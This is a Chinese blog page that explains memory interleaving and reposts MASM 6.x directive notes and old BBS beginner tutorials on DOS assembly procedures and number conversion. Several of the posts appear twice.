記憶體交錯(memory interleaving)可以讓系統對記憶體的不同bank進行同時存取,而不是持續存取。Bank表示一個SDRAM設備內部的邏輯儲存於庫的數量 (現在通常是4個bank)。Interleave是加快記憶體速度的一種技術,舉例來說,將儲存於體的奇數位址和偶數位址部分分開,這樣當前字元被重新 整理時,可以不影響下一個字元的訪問。這樣,2或4路交錯技術減少了等待時間,讓記憶體更快,雖然不是2或4倍的速度,但還是快了許多。要購買VIA晶片 主機板的朋友,一定要認準有4 Bank interleaving調節的板子再買,沒有它,記憶體效能上可要大打折扣的!
多數高性能系統而言,高性能記憶體介面對保證高吞吐量非常關鍵。通常,在較差的系統設計中,具有極高性能的處理器經常處在一種無數據處理的‘飢餓’狀態。
提高總吞吐量的方法之一是採用記憶體交錯處理(memory interleaving)。記憶體交錯處理能使處理器在指定時間內讀寫更多資訊,有助於減少潛在瓶頸問題。
交錯處理的原理是將系統記憶體劃分成多個區塊。通常記憶體被劃分成2個或4個區塊。這些系統也被稱為雙路或四路交錯系統。即使有兩個實體上的獨立記憶體庫,軟體也會把它們視為一個記憶體區塊。
為了實現記憶體交錯處理,必須能使用一組單獨的控制線路存取每個記憶體區塊。一旦開始對第一個記憶體區塊的存取,對第二個區塊的存取也能同時進行。
在交錯處理的記憶體系統中,仍有兩個DRAM實體庫。然而,處理器在邏輯上只看到一個記憶體庫。對記憶體的存取是輪流進行的,先是庫1的數據,然後是庫2的數據,然後又再是庫1的數據。邏輯庫的所有偶數長字存放在實體庫1中,所有奇數長字存放在實體庫2中(見圖1)。
這種做法具有明顯的速度優勢,因為對這些記憶體的存取採用的是獨立的匯流排,時間上可以同時進行。
千 萬不要把記憶體交錯與傳統系統中使用多個記憶體庫相混淆。這些‘傳統’系統只是簡單地透過增加記憶體庫來提高記憶體容量,通常是插入雙列直插記憶體模組 (DIMM)。雖然新增的庫可能被賦予獨立的晶片選擇線路,但它們一般都共享控制線路,如列位址閘控(RAS)和行位址閘控(CAS),因此不允許同時存 取。兩個記憶體控制器間的交錯能力可為系統設計師提供兩大優勢:首先,它不需要處理器利用軟體平衡對兩個記憶體庫的存取,而是可以自動平衡,因此能讓處理 器充分發揮記憶體控制器的頻寬優勢;其次,它允許一次打開兩倍具有空間方位性的DRAM頁,這樣可顯著提高打開頁被存取到的概率,因而減少延遲。
過去嵌入式記憶體一直未採用記憶體交錯處理,因為新增記憶體和支援這種架構所需的複雜晶片組成本都非常高。然而,隨著記憶體成本的不斷下降,PC市場的大力推動以及大量處理器中整合具有交錯處理能力的記憶體控制器,這種技術已走向實際應用。
以 飛思卡爾的MPC8641D Power處理器為例,它能透過記憶體交錯技術存取整合在內部的DDRII DRAM控制器。該處理器支援兩個DDRII記憶體控制器,記憶體事務可根據地址分派給DDRII控制器1或DDRII控制器2。另外,控制器也可以經過 配置支援兩個記憶體控制器之間的交錯事務。兩個記憶體控制器之間的交錯處理能以快取記憶體線(cache line)或頁為基礎進行。
2011年5月25日 星期三
2011年5月22日 星期日
MASM_12
MASM 6.x 新增指令列表: Glow Glove 製 (請體諒小弟辛苦,勿消去)
MASM 6.x 推出以久,但市面上有關之書籍及資料卻少得可憐,小弟當初接觸
MASM 6.x 時,辛辛苦苦才找出資料的,為了那些後進不用踏著先烈的血跡前
撲後繼,特將小弟「翻」出來的東東公布出來。
這些指令都是小弟從書上(厚顏無恥,在老板的白眼下辛苦抄下來的)
及MASM 6.0 之範例程式中翻出來的,若有遺落疏失,請包涵。
請體諒小弟之辛苦,勿將小弟的ID消去。
MASM 6.x與MASM 5.x最大不同,在於6.x 比5.x 更高階化了(或說更PASCAL化),
其內提供了判斷、迴圈、模組化副程式等,各種令組合語言使用者望穿秋水之指
令,看完內容,請不要感動的痛哭流涕,或恨他為什麼不早點出來。
運算符號:
== : 等於 & : 位元測試
!= : 不等於 ! : 否 NOT
> : 大於 && : 且 AND
< : 小於 || : 或 OR
輔助運算符號:
ZERO? : ZERO ZF=1,ZR !ZERO? : NOT ZERO ZF=0,NZ
CARRY? : CARRY CF=1,CY !CARRY? : NOT CARRY CF=0,NC
OVERFLOW? : OVERFLOW,OV !OVERFLOW? : NOT OVERFLOW,NV
SIGN? : NEGATIVE,NG !SIGN? : PLUS,PL
PARITY? : PARITY EVEN,PE !PARITY? : PARITY ODD,PO
Examples:
.IF AX == 1 .REPEAT
.IF ZERO? .UNTIL ZERO?
.IF !(AX & 0Fh)
.IF AL=ESC || AL=CR
看到這些指令了嗎? 是不是似曾相識,期待以久了。
MASM 6.x 新增指令列表_#2 : Glow Glove 製 (請體諒小弟辛苦,勿消去)
這些指令都是小弟從書上及MASM 6.0 之範例程式中翻出來的,
若有遺落疏失,請包涵。
程式指令:
.STARTUP : 程式開始,校準DS節區,
.EXIT [result] : 程式結束,返回DOS, result 可指定ERRORLEVEL值
引申:
.STARTUP : mov dx,@data
mov ds,dx
.
. 此處不明用途,故還是自己做程式碼較小
.EXIT : mov ah,4ch
int 21h
.EXIT 1 : mov ax,4c01h
int 21h
判斷式:
.IF <expression>
.
.ELSEIF <expression1>
.
.ELSE
.
.ENDIF
.ELSEIF 及.ELSE 為非必要之動作,寫過高階語言的應該不難了解才對!
MASM 6.x 新增指令列表_#3 : Glow Glove 製 (請體諒小弟辛苦,勿消去)
這些指令都是小弟從書上及MASM 6.0 之範例程式中翻出來的,
若有遺落疏失,請包涵。
迴圈指令:
(1) 前測式:
.WHILE <expression>
.
.
.ENDW
當條件成立,即執行迴圈內,否則執行迴圈後之動作
(2) 後測式:
1. .REPEAT
.
.
.UNTIL <expression>
or
2. .REPEAT
.
.
.UNTILCXZ <expression>
1. 迴圈一直到條件成立即停止迴圈
2. 同1 ,但加上判斷CX是否為0 (OR的關係,即條件為真或CX==0)
輔助指令:
.BREAK <expression>
.COUNTINE <expression>
配合上述迴圈指令運用
.BREAK 可中止迴圈
.COUNTINE 可跳至迴圈開頭
可在其後加上敘述,敘述成立才動作
嗯! 愈看愈像PASCAL了
Examples:
.WHILE AX==1 || !ZERO? .REPEAT
. .
.ENDW .UNTIL (AX & 1)
.REPEAT
.
.BREAK .IF ZERO?
.
.COUNTINE
.
.UNTILCXZ (DX == 0)
引申:
上述之判斷式及迴圈,其實就是CMP XX,YY
Jxx xxxx,LOOPxx xxxx
之組合。
其內動作複雜,小弟寫不出來 :~~( 請寫過MASM 5.x的人自行
體會那種複雜的古老方式。
MASM 6.x 新增指令列表_#4 : Glow Glove 製 (請體諒小弟辛苦,勿消去)
這些指令都是小弟從書上及MASM 6.0 之範例程式中翻出來的,
若有遺落疏失,請包涵。
副程式模組指令:
PROTO : 副程式宣告,類似QB之DECLARE (可置於內含檔,或程式開頭任何一處)
INVOKE : 副程式呼叫,類似ASM 之CALL,但可傳遞參數
以下之敘述多以QB為對象,因為小弟酷愛QB.
完整語法:
<Subname> PROTO <language type> [exp1:....,][exp2:....]
< >:必需加上之敘述
[ ]:視其需要之敘述,可有可無
Subname : 副程式名稱
language type : 連結之語言, 如PASCAL,BASIC,C
exp1:....,exp2:.... :傳遞之參數及其型態, 型態敘述若加上PTR 則為傳址
語言: PASCAL=BASIC,組合連結組合用PASCAL或BASIC 較順手
傳值或傳址: X:byte,Y:ptr byte
則X 為傳值,佔1 byte,Y 為傳址,佔2 byte (因位址佔2 byte)
注!:敘述間之分隔符號要搞清楚是「空格」或「逗號」。
語言中之「BASIC 」為編譯式BASIC ,如QuickBASIC 4.X, BASIC Compiler 7.X
INVOKE <subname>,[exp1,exp2,...]
subname : 副程式名稱
exp1,exp2,.. : 參數
宣告範例:
(1) 主程式宣告
.MODEL SMALL
Subname PROTO BASIC X:BYTE,Y:BYTE,Result:PTR WORD
.DATA
SX db 1
SY db 2
ec dw 0
.CODE
INVOKE Subname,SX,SY,ec
.STACK
END
(2) 副程式宣告
.MODEL SMALL,BASIC 此語言敘述可有可無,影嚮副程式之參數傳遞,若
副程式中已宣告其語言,則此可免寫。
Subname PROTO X:BYTE,Y:BYTE,Result:PTR WORD
此敘述在主、副程式中,都應加上確保組譯無誤
.CODE
Subname PROC BASIC USES bx dx si , 此處敘述之陳述重要,各敘述
X:BYTE , 之分隔符號尤應寫好。
Y:BYTE , BASIC:連結之語言
Result:PTR WORD USES :會被改變原值的暫存器
通知ASM 將其原值保存
.
.
ret ASM 會自動加上欲清除之堆疊數
Subname ENDP
END
引申:
PROTO 類似EXTRN 但較其敘述更完善
INVOKE與CALL之差別,INVOKE可加上參數傳遞,而CALL則需自己動手。
例: INVOKE Subname,X,Y
組譯為: MOV AX,X ;此處敘述不定,視參數型態
PUSH AX
MOV AX,Y
PUSH AX
CALL Subname
其中INVOKE會幫使用者做好參數堆入堆疊之動作
PROC: 加上語言敘述,會以該語言之參數傳遞方式,為使用者完成參數取得
加上USES敘述,會替使用者將指定之暫存器堆入堆疊
例: Subname PROC BASIC USES bx dx,
X:BYTE,
Y:BYTE
.
.
ret
Subname ENDP
組譯為:
PUSH BP ┐ 有參數之傳遞,故做校準BP之動作
MOV BP,SP ┘
PUSH BX ┐ 使用者指定保存之暫存器之堆入
PUSH DX ┘
MOV X,[BP+6] 因有basic 敘述,故採basic 之參數傳遞方式,
MOV Y,[BP+4] 第一個參數在堆疊下方,第二個在上面
. 詳見「QuickBASIC專題實作-第三波」
. 或BASIC 使用手冊
.
.
POP DX ┐ 使用者指定保存之暫存器取回
POP BX ┘ 堆入及取回動作,組譯時皆替使用者完成
POP BP
RET 2 2 為組譯時加上,因為有兩個byte的參數傳遞。
請不要懷疑引申部分之正確與否,其中之內容都是我組譯連結後,用
DEBUG 去看出來的,保證正確,若用CODEVIEW則更容易了解。
關於程式模組方面,尚提供了一些更方便的.COM檔寫法及一些敘述,但小弟因
功力不夠,所以看不太懂,有興趣知道的,可自行從MASM 6.x的範例中挖寶。
此外,MASM 6.x尚提供了一些公用程式,其中6.0 for DOS&OS/2, 6.1 for DOS&WIN
不過其中的PWB IDE 環境跟中文不太相容,CODEVIEW若非雙螢幕,則難展威力,其他
的公用程式如LIB 跟LINK跟以前的差不多,其他的小弟不知道用途 :_( 。
欲使用MASM 6.x者,需最少須具備ML.EXE,ML.ERR及LINK.EXE
MASM 6.x 推出以久,但市面上有關之書籍及資料卻少得可憐,小弟當初接觸
MASM 6.x 時,辛辛苦苦才找出資料的,為了那些後進不用踏著先烈的血跡前
撲後繼,特將小弟「翻」出來的東東公布出來。
這些指令都是小弟從書上(厚顏無恥,在老板的白眼下辛苦抄下來的)
及MASM 6.0 之範例程式中翻出來的,若有遺落疏失,請包涵。
請體諒小弟之辛苦,勿將小弟的ID消去。
MASM 6.x與MASM 5.x最大不同,在於6.x 比5.x 更高階化了(或說更PASCAL化),
其內提供了判斷、迴圈、模組化副程式等,各種令組合語言使用者望穿秋水之指
令,看完內容,請不要感動的痛哭流涕,或恨他為什麼不早點出來。
運算符號:
== : 等於 & : 位元測試
!= : 不等於 ! : 否 NOT
> : 大於 && : 且 AND
< : 小於 || : 或 OR
輔助運算符號:
ZERO? : ZERO ZF=1,ZR !ZERO? : NOT ZERO ZF=0,NZ
CARRY? : CARRY CF=1,CY !CARRY? : NOT CARRY CF=0,NC
OVERFLOW? : OVERFLOW,OV !OVERFLOW? : NOT OVERFLOW,NV
SIGN? : NEGATIVE,NG !SIGN? : PLUS,PL
PARITY? : PARITY EVEN,PE !PARITY? : PARITY ODD,PO
Examples:
.IF AX == 1 .REPEAT
.IF ZERO? .UNTIL ZERO?
.IF !(AX & 0Fh)
.IF AL=ESC || AL=CR
看到這些指令了嗎? 是不是似曾相識,期待以久了。
MASM 6.x 新增指令列表_#2 : Glow Glove 製 (請體諒小弟辛苦,勿消去)
這些指令都是小弟從書上及MASM 6.0 之範例程式中翻出來的,
若有遺落疏失,請包涵。
程式指令:
.STARTUP : 程式開始,校準DS節區,
.EXIT [result] : 程式結束,返回DOS, result 可指定ERRORLEVEL值
引申:
.STARTUP : mov dx,@data
mov ds,dx
.
. 此處不明用途,故還是自己做程式碼較小
.EXIT : mov ah,4ch
int 21h
.EXIT 1 : mov ax,4c01h
int 21h
判斷式:
.IF <expression>
.
.ELSEIF <expression1>
.
.ELSE
.
.ENDIF
.ELSEIF 及.ELSE 為非必要之動作,寫過高階語言的應該不難了解才對!
MASM 6.x 新增指令列表_#3 : Glow Glove 製 (請體諒小弟辛苦,勿消去)
這些指令都是小弟從書上及MASM 6.0 之範例程式中翻出來的,
若有遺落疏失,請包涵。
迴圈指令:
(1) 前測式:
.WHILE <expression>
.
.
.ENDW
當條件成立,即執行迴圈內,否則執行迴圈後之動作
(2) 後測式:
1. .REPEAT
.
.
.UNTIL <expression>
or
2. .REPEAT
.
.
.UNTILCXZ <expression>
1. 迴圈一直到條件成立即停止迴圈
2. 同1 ,但加上判斷CX是否為0 (OR的關係,即條件為真或CX==0)
輔助指令:
.BREAK <expression>
.COUNTINE <expression>
配合上述迴圈指令運用
.BREAK 可中止迴圈
.COUNTINE 可跳至迴圈開頭
可在其後加上敘述,敘述成立才動作
嗯! 愈看愈像PASCAL了
Examples:
.WHILE AX==1 || !ZERO? .REPEAT
. .
.ENDW .UNTIL (AX & 1)
.REPEAT
.
.BREAK .IF ZERO?
.
.COUNTINE
.
.UNTILCXZ (DX == 0)
引申:
上述之判斷式及迴圈,其實就是CMP XX,YY
Jxx xxxx,LOOPxx xxxx
之組合。
其內動作複雜,小弟寫不出來 :~~( 請寫過MASM 5.x的人自行
體會那種複雜的古老方式。
MASM 6.x 新增指令列表_#4 : Glow Glove 製 (請體諒小弟辛苦,勿消去)
這些指令都是小弟從書上及MASM 6.0 之範例程式中翻出來的,
若有遺落疏失,請包涵。
副程式模組指令:
PROTO : 副程式宣告,類似QB之DECLARE (可置於內含檔,或程式開頭任何一處)
INVOKE : 副程式呼叫,類似ASM 之CALL,但可傳遞參數
以下之敘述多以QB為對象,因為小弟酷愛QB.
完整語法:
<Subname> PROTO <language type> [exp1:....,][exp2:....]
< >:必需加上之敘述
[ ]:視其需要之敘述,可有可無
Subname : 副程式名稱
language type : 連結之語言, 如PASCAL,BASIC,C
exp1:....,exp2:.... :傳遞之參數及其型態, 型態敘述若加上PTR 則為傳址
語言: PASCAL=BASIC,組合連結組合用PASCAL或BASIC 較順手
傳值或傳址: X:byte,Y:ptr byte
則X 為傳值,佔1 byte,Y 為傳址,佔2 byte (因位址佔2 byte)
注!:敘述間之分隔符號要搞清楚是「空格」或「逗號」。
語言中之「BASIC 」為編譯式BASIC ,如QuickBASIC 4.X, BASIC Compiler 7.X
INVOKE <subname>,[exp1,exp2,...]
subname : 副程式名稱
exp1,exp2,.. : 參數
宣告範例:
(1) 主程式宣告
.MODEL SMALL
Subname PROTO BASIC X:BYTE,Y:BYTE,Result:PTR WORD
.DATA
SX db 1
SY db 2
ec dw 0
.CODE
INVOKE Subname,SX,SY,ec
.STACK
END
(2) 副程式宣告
.MODEL SMALL,BASIC 此語言敘述可有可無,影嚮副程式之參數傳遞,若
副程式中已宣告其語言,則此可免寫。
Subname PROTO X:BYTE,Y:BYTE,Result:PTR WORD
此敘述在主、副程式中,都應加上確保組譯無誤
.CODE
Subname PROC BASIC USES bx dx si , 此處敘述之陳述重要,各敘述
X:BYTE , 之分隔符號尤應寫好。
Y:BYTE , BASIC:連結之語言
Result:PTR WORD USES :會被改變原值的暫存器
通知ASM 將其原值保存
.
.
ret ASM 會自動加上欲清除之堆疊數
Subname ENDP
END
引申:
PROTO 類似EXTRN 但較其敘述更完善
INVOKE與CALL之差別,INVOKE可加上參數傳遞,而CALL則需自己動手。
例: INVOKE Subname,X,Y
組譯為: MOV AX,X ;此處敘述不定,視參數型態
PUSH AX
MOV AX,Y
PUSH AX
CALL Subname
其中INVOKE會幫使用者做好參數堆入堆疊之動作
PROC: 加上語言敘述,會以該語言之參數傳遞方式,為使用者完成參數取得
加上USES敘述,會替使用者將指定之暫存器堆入堆疊
例: Subname PROC BASIC USES bx dx,
X:BYTE,
Y:BYTE
.
.
ret
Subname ENDP
組譯為:
PUSH BP ┐ 有參數之傳遞,故做校準BP之動作
MOV BP,SP ┘
PUSH BX ┐ 使用者指定保存之暫存器之堆入
PUSH DX ┘
MOV X,[BP+6] 因有basic 敘述,故採basic 之參數傳遞方式,
MOV Y,[BP+4] 第一個參數在堆疊下方,第二個在上面
. 詳見「QuickBASIC專題實作-第三波」
. 或BASIC 使用手冊
.
.
POP DX ┐ 使用者指定保存之暫存器取回
POP BX ┘ 堆入及取回動作,組譯時皆替使用者完成
POP BP
RET 2 2 為組譯時加上,因為有兩個byte的參數傳遞。
請不要懷疑引申部分之正確與否,其中之內容都是我組譯連結後,用
DEBUG 去看出來的,保證正確,若用CODEVIEW則更容易了解。
關於程式模組方面,尚提供了一些更方便的.COM檔寫法及一些敘述,但小弟因
功力不夠,所以看不太懂,有興趣知道的,可自行從MASM 6.x的範例中挖寶。
此外,MASM 6.x尚提供了一些公用程式,其中6.0 for DOS&OS/2, 6.1 for DOS&WIN
不過其中的PWB IDE 環境跟中文不太相容,CODEVIEW若非雙螢幕,則難展威力,其他
的公用程式如LIB 跟LINK跟以前的差不多,其他的小弟不知道用途 :_( 。
欲使用MASM 6.x者,需最少須具備ML.EXE,ML.ERR及LINK.EXE
MASM_11
信區 : 破解網-破解技術討論區
日期 : Wed May 15, 12:27
來自 : Jerry Cls 39:40/103
給 : All
標題 : asm11
--------------------------------------------------------------------------------
@TID: FastEcho 1.40 17014
crlf segment
assume cs:crlf
mov dl,0dh ;carriage return
mov ah,2 ;display function
int 21h ;call DOS
mov dl,0ah ;linefeed
mov ah,2 ;display function
int 21h ;call DOS
int 20 ;return from crlf
crlf ends
end
※ 現在我們就可以將 BINIHEX 、 DECIBIN 及 CRLF 等模組合併
成一個完整的大程式了。
※ 首先,我們必須將這三個模組程式改成『程序,Procedure』,
然後,再寫一段簡短的小程式來輪流呼叫每一個程序。
※ 所謂程序是由一群組合語言指令集合而成,通常用於執行特定
的、定義完整的工作,在電腦語言中,常被稱做『副程式』。
crlf proc near
mov dl,0dh
mov ah,2
int 21h
mov dl,0ah
mov ah,2
int 21h
ret
crlf endp
※ 類似 SEGMENT 與 ENDS 虛擬指令,PROC 與 ENDP 成對出現,
用來識別並定義一個程序。
※ 其實,PROC 真正的作用只是告訴組譯器:所呼叫的程序是
屬於近程(NEAR)或遠程(FAR)。
※ 一般的程式是由 DEBUG 直接呼叫的,所以用 INT 20 返回,
對於用 CALL 指令所呼叫的程序而言,則必須改用 RET 。
※ 返回指令 RET 會把控制權轉移到堆疊頂端所指定的位址,而
該位址是由呼叫此程序的 CALL 指令所放入的。
;************************************************
decihex segment ;DECIHEX -- Main Program
assume cs:decihex
repeat: call decibin ;keyboard to binary
call crlf ;print cr and lf
call binihex ;binary to screen
call crlf ;print cr and lf
jmp repeat ;do it again
;------------------------------------------------
decibin proc near ;PROCEDURE TO CONVERT DEC
............ ; ON KEYBD TO BINARY AND
decibin endp ; LEFT RESULT IN BX
;------------------------------------------------
binihex proc near ;PROCEDURE TO CONVERT BIN
............ ; NUMBER IN BX TO HEX ON
binihex endp ; CONSOLE SCREEN
;------------------------------------------------
crlf proc near ;PROCEDURE TO PRINT
............ ; CARRIAGE RETURN
endp ; AND LINEFEED
;------------------------------------------------
decihex ends
;************************************************
end
※ CALL 指令用來呼叫一個副程式(程序),並將控制權轉移到
運算元內的副程式位址,同時將 CALL 的下一指令位址定為
『返回位址』,並存入堆疊中。
※ CALL 可分為近程(NEAR)及遠程(FAR)兩種:
1.NEAR:IP 暫存器的內容被放入堆疊中。
用於程式與程序在同一記憶區段中。
2.FAR :CS 暫存器與 IP 暫存器的內容依順序存入堆疊中。
用於程式與程序在不同一記憶區段中。
※ 探討了組合語言程式設計的較佳流程,希望能奠定您
獨立設計的基礎,而如何利用模組化的觀念來設計程式,則
全仰賴您平時苦練、多看的苦功,只要再多參考相關的書籍
,您必可從範例中獲取的更多的應用技巧,祝您成功。
THE END
全文完
--- SuperBBS 1.17 (Reg)
* Origin: BEAR BBS OPEN:24HR TEL : (02)377-6746 (39:40/103)
PATH: 40/103 100
日期 : Wed May 15, 12:27
來自 : Jerry Cls 39:40/103
給 : All
標題 : asm11
--------------------------------------------------------------------------------
@TID: FastEcho 1.40 17014
crlf segment
assume cs:crlf
mov dl,0dh ;carriage return
mov ah,2 ;display function
int 21h ;call DOS
mov dl,0ah ;linefeed
mov ah,2 ;display function
int 21h ;call DOS
int 20 ;return from crlf
crlf ends
end
※ 現在我們就可以將 BINIHEX 、 DECIBIN 及 CRLF 等模組合併
成一個完整的大程式了。
※ 首先,我們必須將這三個模組程式改成『程序,Procedure』,
然後,再寫一段簡短的小程式來輪流呼叫每一個程序。
※ 所謂程序是由一群組合語言指令集合而成,通常用於執行特定
的、定義完整的工作,在電腦語言中,常被稱做『副程式』。
crlf proc near
mov dl,0dh
mov ah,2
int 21h
mov dl,0ah
mov ah,2
int 21h
ret
crlf endp
※ 類似 SEGMENT 與 ENDS 虛擬指令,PROC 與 ENDP 成對出現,
用來識別並定義一個程序。
※ 其實,PROC 真正的作用只是告訴組譯器:所呼叫的程序是
屬於近程(NEAR)或遠程(FAR)。
※ 一般的程式是由 DEBUG 直接呼叫的,所以用 INT 20 返回,
對於用 CALL 指令所呼叫的程序而言,則必須改用 RET 。
※ 返回指令 RET 會把控制權轉移到堆疊頂端所指定的位址,而
該位址是由呼叫此程序的 CALL 指令所放入的。
;************************************************
decihex segment ;DECIHEX -- Main Program
assume cs:decihex
repeat: call decibin ;keyboard to binary
call crlf ;print cr and lf
call binihex ;binary to screen
call crlf ;print cr and lf
jmp repeat ;do it again
;------------------------------------------------
decibin proc near ;PROCEDURE TO CONVERT DEC
............ ; ON KEYBD TO BINARY AND
decibin endp ; LEFT RESULT IN BX
;------------------------------------------------
binihex proc near ;PROCEDURE TO CONVERT BIN
............ ; NUMBER IN BX TO HEX ON
binihex endp ; CONSOLE SCREEN
;------------------------------------------------
crlf proc near ;PROCEDURE TO PRINT
............ ; CARRIAGE RETURN
endp ; AND LINEFEED
;------------------------------------------------
decihex ends
;************************************************
end
※ CALL 指令用來呼叫一個副程式(程序),並將控制權轉移到
運算元內的副程式位址,同時將 CALL 的下一指令位址定為
『返回位址』,並存入堆疊中。
※ CALL 可分為近程(NEAR)及遠程(FAR)兩種:
1.NEAR:IP 暫存器的內容被放入堆疊中。
用於程式與程序在同一記憶區段中。
2.FAR :CS 暫存器與 IP 暫存器的內容依順序存入堆疊中。
用於程式與程序在不同一記憶區段中。
※ 探討了組合語言程式設計的較佳流程,希望能奠定您
獨立設計的基礎,而如何利用模組化的觀念來設計程式,則
全仰賴您平時苦練、多看的苦功,只要再多參考相關的書籍
,您必可從範例中獲取的更多的應用技巧,祝您成功。
THE END
全文完
--- SuperBBS 1.17 (Reg)
* Origin: BEAR BBS OPEN:24HR TEL : (02)377-6746 (39:40/103)
PATH: 40/103 100
MASM_10
信區 : 破解網-破解技術討論區
日期 : Wed May 15, 12:25
來自 : Jerry Cls 39:40/103
給 : All
標題 : asm10
--------------------------------------------------------------------------------
@TID: FastEcho 1.40 17014
binihex segment ;start of segment
assume cs:binihex
mov ch,4 ;number of digits
rotate: mov cl,4 ;set count to 4 bits
rol bx,cl ;left digit to right
mov al,bl ;move to AL
and al,0fh ;mask off left digit
add al,30h ;convert hex to ASCII
cmp al,3ah ;is it > 9
jl printit ;jump if digit = 0 to 9
add al,7h ;digit is A to F
printit:mov dl,al ;put ASCII char in DL
mov ah,2 ;Display Output Finct
int 21h ;call DOS
dec ch ;done 4 digits ?
jnz rotate ;not yet
int 20h ;return from binihex
binihex ends ;end of segment
end
※ 利用旋轉指令 ROL 旋轉暫存器 BX 的內容,以便依序處理 4
個十六進位數:
1.利用 CL 暫存器當計數器,記錄暫存器移動的次數。
2.將 BX 的第一個十六進位值移到最右邊。
※ 利用 AND 指令(兩個運算元都為1時,其結果方為1)配合
『遮罩,Mask』來遮掉不要的部份,以得到單純的結果:
1.先將 BL 值存入 AL 中,再以 0Fh (00001111)為遮罩 。
2.利用 AND 特性將 AL 的左邊四個位元給遮掉。
※ 由於字元0~9之 ASCII 值為 30h~39h,而A~F之 ASCII
值為 41h~46h,其中相差 7,所以得到的結果為:若 AL 之
內容小於 3Ah,則 AL 值只加 30h,否則 AL 值得再加 7h。
※ ADD 指令會將兩個運算元相加,其結果存於左邊的運算元內。
※ 旗標是只有一個位元的暫存器,集合成一個單獨的十六位元
暫存器,稱為『旗標暫存器,Flag Register』。
※ 某些組合語言指令(大部份是那些涉及比較、算術或邏輯運
算的指令)執行時,會將相關旗標設定(1)或清除(0)。
※ 您經常會碰到的旗標是零值旗標(ZR/NZ)、正負號旗標(NG
/PL)、溢位旗標(OV/NV)和進位旗標(CY/NC)。
※ 旗標保存了某個指令執行的結果,可用其他相關指令,查出
發出的情況,藉以因應而產生相對動作。
※ CMP 指令的動作很像減法,是將兩個運算元的值加以比較。
※ 執行後,暫存器或記憶體的內容並未改變,只是相對的旗標
發生改變而已:若 AL 的內含值小於 3Ah,則正負號旗標會
設定成 NG(-),反之則為 PL(+)。
※ JL 指令可直接想成『假如小於就跳越,Jump if Less than』
到運算元欄所指定的記憶位置。
※ CMP 指令和 JG 、JL 等條件式跳越指令一起使用,可以形成程
式的『分支,branch』結構,是撰寫組合語言程式常用的技巧。
※ 『JNZ,Jump if Not Zero』指令,其功能為當零值旗標未設定
,則跳到運算元所指定的記憶位址。
※ 第二個模組 DECIBIN 用來接收鍵盤打入的十進位數,並將它轉
換成二進位數放於 BX 暫存器中,供 BINIHEX 程式使用。
※ 此程式之流程及程式碼並不困難, 您是否已有腹案了?
decibin segment
assume cs:decibin
mov bx,0 ;clear BX for number
newchar:mov ah,1 ;keyboard input
int 21h ;call DOS
sub al,30h ;ASCII to binary
jl exit ;jump if < 0
cmp al,9d ;is it > 9d ?
jg exit ;yes, not dec digit
cbw ;byte in AL to word in AX
xchg ax,bx ;trade digit & number
mov cx,10d ;put 10 dec in CX
mul cx ;number times 10
xchg ax,bx ;trade number & digit
add bx,ax ;add digit to number
jmp newchar ;get next digit
exit: int 20 ;return from decibin
decibin ends ;end of decibin proc
end
※ 減法指令 SUB 會將左邊的運算元減去右邊的運算元,結果存
於左邊的運算元中。
※ JG 指令與 CMP 指令配合,若 CMP 指令左邊運算元大於右邊
運算元,則跳至其本身運算元指定的記憶體位址。
※ CBW 指令會把 AL 暫存器中的位元組(8 位元 )轉換成字組
(16 位元 ),並放於 AX 暫存器中。
※ 實際上的結果是:
『若 AL 中的值為正,則 AH 填入 00h;反之,則 AH 填入 FFh』
※ XCHG 指令會把兩個運算元的內含值互換。
※ 常用於需要暫時保留某個暫存器中的內含值時。
※ MUL 指令會將運算元的內含值與A暫存器的內容相乘,並將
結果存於A暫存器中。
※ 當然,我們還得加一個 CRLF 的小程式,用來列印歸位字元
(CR)與換列字元(LF),使得結果顯示的十六進位數不會蓋
掉原先輸入的十進位數。
--- SuperBBS 1.17 (Reg)
* Origin: BEAR BBS OPEN:24HR TEL : (02)377-6746 (39:40/103)
PATH: 40/103 100
日期 : Wed May 15, 12:25
來自 : Jerry Cls 39:40/103
給 : All
標題 : asm10
--------------------------------------------------------------------------------
@TID: FastEcho 1.40 17014
binihex segment ;start of segment
assume cs:binihex
mov ch,4 ;number of digits
rotate: mov cl,4 ;set count to 4 bits
rol bx,cl ;left digit to right
mov al,bl ;move to AL
and al,0fh ;mask off left digit
add al,30h ;convert hex to ASCII
cmp al,3ah ;is it > 9
jl printit ;jump if digit = 0 to 9
add al,7h ;digit is A to F
printit:mov dl,al ;put ASCII char in DL
mov ah,2 ;Display Output Finct
int 21h ;call DOS
dec ch ;done 4 digits ?
jnz rotate ;not yet
int 20h ;return from binihex
binihex ends ;end of segment
end
※ 利用旋轉指令 ROL 旋轉暫存器 BX 的內容,以便依序處理 4
個十六進位數:
1.利用 CL 暫存器當計數器,記錄暫存器移動的次數。
2.將 BX 的第一個十六進位值移到最右邊。
※ 利用 AND 指令(兩個運算元都為1時,其結果方為1)配合
『遮罩,Mask』來遮掉不要的部份,以得到單純的結果:
1.先將 BL 值存入 AL 中,再以 0Fh (00001111)為遮罩 。
2.利用 AND 特性將 AL 的左邊四個位元給遮掉。
※ 由於字元0~9之 ASCII 值為 30h~39h,而A~F之 ASCII
值為 41h~46h,其中相差 7,所以得到的結果為:若 AL 之
內容小於 3Ah,則 AL 值只加 30h,否則 AL 值得再加 7h。
※ ADD 指令會將兩個運算元相加,其結果存於左邊的運算元內。
※ 旗標是只有一個位元的暫存器,集合成一個單獨的十六位元
暫存器,稱為『旗標暫存器,Flag Register』。
※ 某些組合語言指令(大部份是那些涉及比較、算術或邏輯運
算的指令)執行時,會將相關旗標設定(1)或清除(0)。
※ 您經常會碰到的旗標是零值旗標(ZR/NZ)、正負號旗標(NG
/PL)、溢位旗標(OV/NV)和進位旗標(CY/NC)。
※ 旗標保存了某個指令執行的結果,可用其他相關指令,查出
發出的情況,藉以因應而產生相對動作。
※ CMP 指令的動作很像減法,是將兩個運算元的值加以比較。
※ 執行後,暫存器或記憶體的內容並未改變,只是相對的旗標
發生改變而已:若 AL 的內含值小於 3Ah,則正負號旗標會
設定成 NG(-),反之則為 PL(+)。
※ JL 指令可直接想成『假如小於就跳越,Jump if Less than』
到運算元欄所指定的記憶位置。
※ CMP 指令和 JG 、JL 等條件式跳越指令一起使用,可以形成程
式的『分支,branch』結構,是撰寫組合語言程式常用的技巧。
※ 『JNZ,Jump if Not Zero』指令,其功能為當零值旗標未設定
,則跳到運算元所指定的記憶位址。
※ 第二個模組 DECIBIN 用來接收鍵盤打入的十進位數,並將它轉
換成二進位數放於 BX 暫存器中,供 BINIHEX 程式使用。
※ 此程式之流程及程式碼並不困難, 您是否已有腹案了?
